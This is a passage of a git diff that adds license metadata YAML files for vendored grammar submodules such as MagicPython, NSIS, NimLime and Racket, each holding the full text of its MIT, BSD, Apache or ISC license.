+    All rights reserved.
+
+    MIT License
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/MATLAB-Language-grammar.dep.yml b/vendor/licenses/git_submodule/MATLAB-Language-grammar.dep.yml
new file mode 100644
index 0000000000..18cf30ba0d
--- /dev/null
+++ b/vendor/licenses/git_submodule/MATLAB-Language-grammar.dep.yml
@@ -0,0 +1,19 @@
+---
+name: MATLAB-Language-grammar
+version: e71df5024b4df6349bc6ef58bc4142aa7b309490
+type: git_submodule
+homepage: https://github.com/mathworks/MATLAB-Language-grammar
+license: bsd-2-clause
+licenses:
+- sources: license.txt
+  text: |-
+    Copyright 2018 The MathWorks, Inc.
+
+    Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+    1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+    2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/MQL5-sublime.dep.yml b/vendor/licenses/git_submodule/MQL5-sublime.dep.yml
new file mode 100644
index 0000000000..90afcf503a
--- /dev/null
+++ b/vendor/licenses/git_submodule/MQL5-sublime.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: MQL5-sublime
+version: a41ed3b5e5af354d9faf262794549ea44bbe5912
+license: mit
+licenses:
+- text: |-
+    MIT License
+
+    Copyright (c) 2016 mqsoft
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/MagicPython.dep.yml b/vendor/licenses/git_submodule/MagicPython.dep.yml
new file mode 100644
index 0000000000..2979c20632
--- /dev/null
+++ b/vendor/licenses/git_submodule/MagicPython.dep.yml
@@ -0,0 +1,35 @@
+---
+name: MagicPython
+version: 7d0f2b22a5ad8fccbd7341bc7b7a715169283044
+type: git_submodule
+homepage: https://github.com/MagicStack/MagicPython
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License
+
+    Copyright (c) 2015-present MagicStack Inc.  http://magic.io
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices:
+- sources: AUTHORS
+  text: |-
+    Victor Petrovykh <victor@magic.io>
+    Yury Selivanov <yury@magic.io>
diff --git a/vendor/licenses/git_submodule/Modelica.dep.yml b/vendor/licenses/git_submodule/Modelica.dep.yml
new file mode 100644
index 0000000000..216c3062a2
--- /dev/null
+++ b/vendor/licenses/git_submodule/Modelica.dep.yml
@@ -0,0 +1,30 @@
+---
+name: Modelica
+version: c64d74b0096e7ebf5fbf1bb6812203b9b1292d6a
+type: git_submodule
+homepage: https://github.com/BorisChumichev/modelicaSublimeTextPackage
+license: mit
+licenses:
+- sources: LICENSE
+  text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2015 Boris Chumichev
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+    the Software, and to permit persons to whom the Software is furnished to do so,
+    subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+    FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+    COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+    IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+    CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/NSIS.dep.yml b/vendor/licenses/git_submodule/NSIS.dep.yml
new file mode 100644
index 0000000000..3605764224
--- /dev/null
+++ b/vendor/licenses/git_submodule/NSIS.dep.yml
@@ -0,0 +1,209 @@
+---
+type: git_submodule
+name: NSIS
+version: 696d06cb2bd0dfc619c989c746e4b43eea689161
+license: apache-2.0
+licenses:
+- text: |-
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2014 Sublime HQ Pty Ltd
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/Nasal.tmbundle.dep.yml b/vendor/licenses/git_submodule/Nasal.tmbundle.dep.yml
new file mode 100644
index 0000000000..bcc70bdb2e
--- /dev/null
+++ b/vendor/licenses/git_submodule/Nasal.tmbundle.dep.yml
@@ -0,0 +1,31 @@
+---
+name: Nasal.tmbundle
+version: beb4c5bee4e83de7cbf25c0cdc25e28489c8a1f7
+type: git_submodule
+homepage: https://github.com/BobDotCom/Nasal.tmbundle.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2023 BobDotCom
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/NimLime.dep.yml b/vendor/licenses/git_submodule/NimLime.dep.yml
new file mode 100644
index 0000000000..ade5344601
--- /dev/null
+++ b/vendor/licenses/git_submodule/NimLime.dep.yml
@@ -0,0 +1,30 @@
+---
+name: NimLime
+version: 1b8f4390968df8895cf81377b336efd60d21bc0d
+type: git_submodule
+homepage: https://github.com/nim-lang/NimLime
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2013 onionhammer (Erik O'Leary), Varriount (Clay Sweetser)
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+    the Software, and to permit persons to whom the Software is furnished to do so,
+    subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+    FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+    COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+    IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+    CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/NovaGrammars.dep.yml b/vendor/licenses/git_submodule/NovaGrammars.dep.yml
new file mode 100644
index 0000000000..931a8949cd
--- /dev/null
+++ b/vendor/licenses/git_submodule/NovaGrammars.dep.yml
@@ -0,0 +1,25 @@
+---
+name: NovaGrammars
+version: c6e3be72f19b428141bb31b55f15b9815b3ee329
+type: git_submodule
+homepage: https://github.com/Nixinova/NovaGrammars
+license: isc
+licenses:
+- sources: license.md
+  text: |
+    # ISC License
+
+    Copyright &copy; 2021 Nixinova
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    The software is provided "as is" and the author disclaims all warranties
+    with regard to this software including all implied warranties of
+    merchantability and fitness. In no event shall the author be liable for
+    any special, direct, indirect, or consequential damages or any damages
+    whatsoever resulting from loss of use, data or profits, whether in an
+    action of contract, negligence or other tortious action, arising out of
+    or in connection with the use or performance of this software.
+notices: []
diff --git a/vendor/licenses/git_submodule/ObjectScript.tmBundle.dep.yml b/vendor/licenses/git_submodule/ObjectScript.tmBundle.dep.yml
new file mode 100644
index 0000000000..df98f931d6
--- /dev/null
+++ b/vendor/licenses/git_submodule/ObjectScript.tmBundle.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: ObjectScript.tmBundle
+version: 0b7465b7f93f65c6d649358b43272b2888c71f7a
+license: mit
+licenses:
+- text: |-
+    MIT License
+
+    Copyright (c) 2019 Dmitry Maslennikov
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/PHP-Twig.tmbundle.dep.yml b/vendor/licenses/git_submodule/PHP-Twig.tmbundle.dep.yml
new file mode 100644
index 0000000000..560870aa06
--- /dev/null
+++ b/vendor/licenses/git_submodule/PHP-Twig.tmbundle.dep.yml
@@ -0,0 +1,36 @@
+---
+name: PHP-Twig.tmbundle
+version: aedf955eba9753554815b2cbef5e072415e42068
+type: git_submodule
+homepage: https://github.com/Anomareh/PHP-Twig.tmbundle
+license: bsd-3-clause
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) 2014, Andrew Fricke
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice, this
+      list of conditions and the following disclaimer.
+
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimer in the documentation
+      and/or other materials provided with the distribution.
+
+    * The names of its contributors may not be used to endorse or promote products
+      derived from this software without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+    ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+    WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+    OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/PogoScript.tmbundle.dep.yml b/vendor/licenses/git_submodule/PogoScript.tmbundle.dep.yml
new file mode 100644
index 0000000000..9367f8a71a
--- /dev/null
+++ b/vendor/licenses/git_submodule/PogoScript.tmbundle.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: PogoScript.tmbundle
+version: 2255586f9ec69bab052b2250615db9b824774178
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2015 Tim Macfarlane
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/PowerBuilder.tmbundle.dep.yml b/vendor/licenses/git_submodule/PowerBuilder.tmbundle.dep.yml
new file mode 100644
index 0000000000..e391c6ccad
--- /dev/null
+++ b/vendor/licenses/git_submodule/PowerBuilder.tmbundle.dep.yml
@@ -0,0 +1,31 @@
+---
+name: PowerBuilder.tmbundle
+version: a204c7f86e79d54425e9196853d8687bc1184015
+type: git_submodule
+homepage: https://github.com/micha4w/PowerBuilder.tmbundle.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2024 micha4w
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/RDoc.tmbundle.dep.yml b/vendor/licenses/git_submodule/RDoc.tmbundle.dep.yml
new file mode 100644
index 0000000000..682ebf9afa
--- /dev/null
+++ b/vendor/licenses/git_submodule/RDoc.tmbundle.dep.yml
@@ -0,0 +1,30 @@
+---
+type: git_submodule
+name: RDoc.tmbundle
+version: 6a403e7e2fc8800133075e27fa55f30a7885c41a
+license: mit
+licenses:
+- text: |-
+    (The MIT License)
+
+    Copyright (c) 2009 Joshaven Potter
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    'Software'), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+    CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+    TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+    SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/Racket.dep.yml b/vendor/licenses/git_submodule/Racket.dep.yml
new file mode 100644
index 0000000000..559d2733f5
--- /dev/null
+++ b/vendor/licenses/git_submodule/Racket.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: Racket
+version: '02739c25aefb484a031e58ff7a628adf4c97225f'
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2014 Jens Axel Søgaard
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
